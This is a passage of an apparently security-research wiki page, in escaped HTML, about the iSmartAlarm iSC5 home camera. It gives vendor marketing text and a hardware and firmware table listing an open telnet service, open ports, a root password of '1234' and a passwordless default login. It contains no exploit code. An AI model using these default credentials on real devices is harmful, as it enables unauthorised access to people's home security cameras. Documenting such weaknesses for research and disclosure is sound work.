iSmartAlarm products have won international awards including the CEA Mark of Excellence, Red Dot Product Design Award, and PC Mag&#039;s Editor&#039;s Choice Awards. The iSmartAlarm Home Security System was featured in Coldwell Banker&#039;s &amp;quot;25 Smart Home Technologies that Matter Most to Home Buyers&amp;quot; and has been named CNET&#039;s Best DIY Home Security System for 3 straight years. iSmartAlarm products are sold nationally and internationally in Best Buy, Amazon, Staples, Fry&#039;s, and many more locations.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Source&amp;lt;/b&amp;gt;: [[https://www.ismartalarm.com/info/AboutUs iSmartAlarm Profile]]&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;iSC5: Spot - Smart Home Security Camera&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;Spot includes features and options of a smart home camera in an amazing package — Night vision, HD resolution streaming video, motion detection, audio detection, zoom, local video storage (up to 32 GB MicroSD) AND free cloud video storage, and 2-way audio.&lt;br /&gt;
&lt;br /&gt;
Spot introduces some innovative NEW features as well — Sound Recognition (with the ability to identify and notify you of carbon monoxide and smoke alarm sirens in your home), Time Lapse custom videos, and a simple voice-guided setup in less than 3 minutes. With the magnetic base plate for wall mounting and twistable, turnable, expandable legs, Spot can capture any angle.&lt;br /&gt;
&lt;br /&gt;
The compact design, amazing feature list, simple and flexible mounting options, and unique personality make Spot the perfect fit for every home&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Source&amp;lt;/b&amp;gt;: [[https://www.ismartalarm.com/spot Product]]&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;Examination&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;h2&amp;gt;Summary&amp;lt;/h2&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; width: calc(100% - 12px);; overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Collected Information&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;background-color: white&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;background-color: grey; font-weight: bold; border-color: black&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;Device Model&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;iSC5&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Manufacturer&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;iSmartAlarm&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey;border-color: black&amp;quot;&amp;gt;Product Type&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;Smart Home Security Camera&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey;border-color: black&amp;quot;&amp;gt;Description&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;Easy to use, packed with features, and affordable&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey;border-color: black&amp;quot;&amp;gt;Price on Release&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;74,90€&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey;border-color: black&amp;quot;&amp;gt;Release&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;2017 Q1 (Ongoing as of October 2020)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey;border-color: black&amp;quot;&amp;gt;State of Research&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;Android APK is not working&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Ports&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;micro USB 2.0, Type-A USB 2.0, micro SD&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Buttons&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;Setup (1s) / Factory Reset (10s)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;LED&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;Power/Status&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Power&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;5V/1A DC&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;WLAN&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;2.4GHz: 802.11b/g/n&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Other&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;Camera (720P), Night Vision, 2-Way Audio&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;FCC-ID&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;SENISC5&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;System&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;SONiX SN98600 Development Platform&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Processor&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;ARM926EJ-S (ARMv5TEJ)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;BogoMIPS&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;179.40&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Memory&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;RAM: 64MB&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Storage&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;Boot from: SPI Flash MX25L12835F&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Ethernet MAC&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;00:4D:32:09:B7:2E&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;WLAN MAC&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;2.4GHz: 00:4D:32:09:B7:2E&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;WLAN SSID&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: whitesmoke;    border-color: black&amp;quot;&amp;gt;N/A&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;WLAN PSK&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: whitesmoke;    border-color: black&amp;quot;&amp;gt;N/A&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Default IPv4&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;WLAN: 192.168.1.68&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Hostname&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;iSmartAlarm&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;NET Protocols&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: red;    border-color: black&amp;quot;&amp;gt;telnet&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Interfaces&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: red;    border-color: black&amp;quot;&amp;gt;wlan0&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Ports&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: red;    border-color: black&amp;quot;&amp;gt;10002, 22306, 22345&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Webpage&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: whitesmoke;    border-color: black&amp;quot;&amp;gt;N/A&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Webaccess&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: whitesmoke;    border-color: black&amp;quot;&amp;gt;N/A&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Root Password&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: whitesmoke;    border-color: black&amp;quot;&amp;gt;1234&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Other Login Pw&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;default:[no password]&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 2px 2px 0 2px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Firmware&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;wl0: v.6.10.198.52_r33 (r1961) FWID 01-32bd010c es4.c3.n4.a2 (2015)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px 2px 2px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Hardware&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;iSC5-MCUP01 V2.2 (iSC5-B01), iSC5-SENP01 V1.1 (iSC5-B02), iSC5-LEDP01 V3.0 (iSC5-B03)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 2px 2px 0 2px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Baudrate&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;115200 (8N1)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Bootdelay&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey;border-color: black&amp;quot;&amp;gt;0 (Hold any key on start)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Bootloader&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;U-Boot 2011.09&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;mtdparts&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;dev:    size   erasesize  name&amp;lt;br&amp;gt;&lt;br /&gt;
mtd0: 000c0000 00008000 &amp;quot;uboot&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
mtd1: 00300000 00008000 &amp;quot;kernel&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
mtd2: 00700000 00008000 &amp;quot;rootfs&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
mtd3: 00400000 00008000 &amp;quot;rescue&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
mtd4: 00100000 00008000 &amp;quot;etc&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
mtd5: 00040000 00008000 &amp;quot;userconfig&amp;quot;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Filesystem&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;jffs (mtd4), cramfs (root), support for external SD card and USB storage devices&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Image&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;SN98600&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Linux&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;2.6.35.12&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px 2px 2px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Kernel cmdline&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;console=ttyS0,115200 root=/dev/mtdblock2 init=/linuxrc mem=64M isp=7M vc=12M vo=0M mtdparts=snx-spi:768k(uboot),3M(kernel),7M(rootfs),4M(rescue),1M(etc),256K(userconfig)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 2px 2px 0 2px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Shell&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;sh, ash&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;BusyBox&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;v1.22.1 (2016) multi-call binary&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px 2px 2px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Services&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: red;    border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Network Security&amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The iSC5 only uses WLAN to communicate. In order to process with the next chapters, access to the LAN of the router is required.&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;span class=&amp;quot;todo&amp;quot; style=&amp;quot;font-size: 50px; line-height: 30px; padding-left: 10px&amp;quot;&amp;gt;⚒&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;iSC5&amp;lt;/b&amp;gt;: Network Mapper&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span class=&amp;quot;todo&amp;quot; style=&amp;quot;font-size: 50px; line-height: 30px; padding-left: 10px&amp;quot;&amp;gt;⚒&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;iSC5&amp;lt;/b&amp;gt;: Open Ports (Factory Default)&amp;lt;/div&amp;gt;&lt;br /&gt;
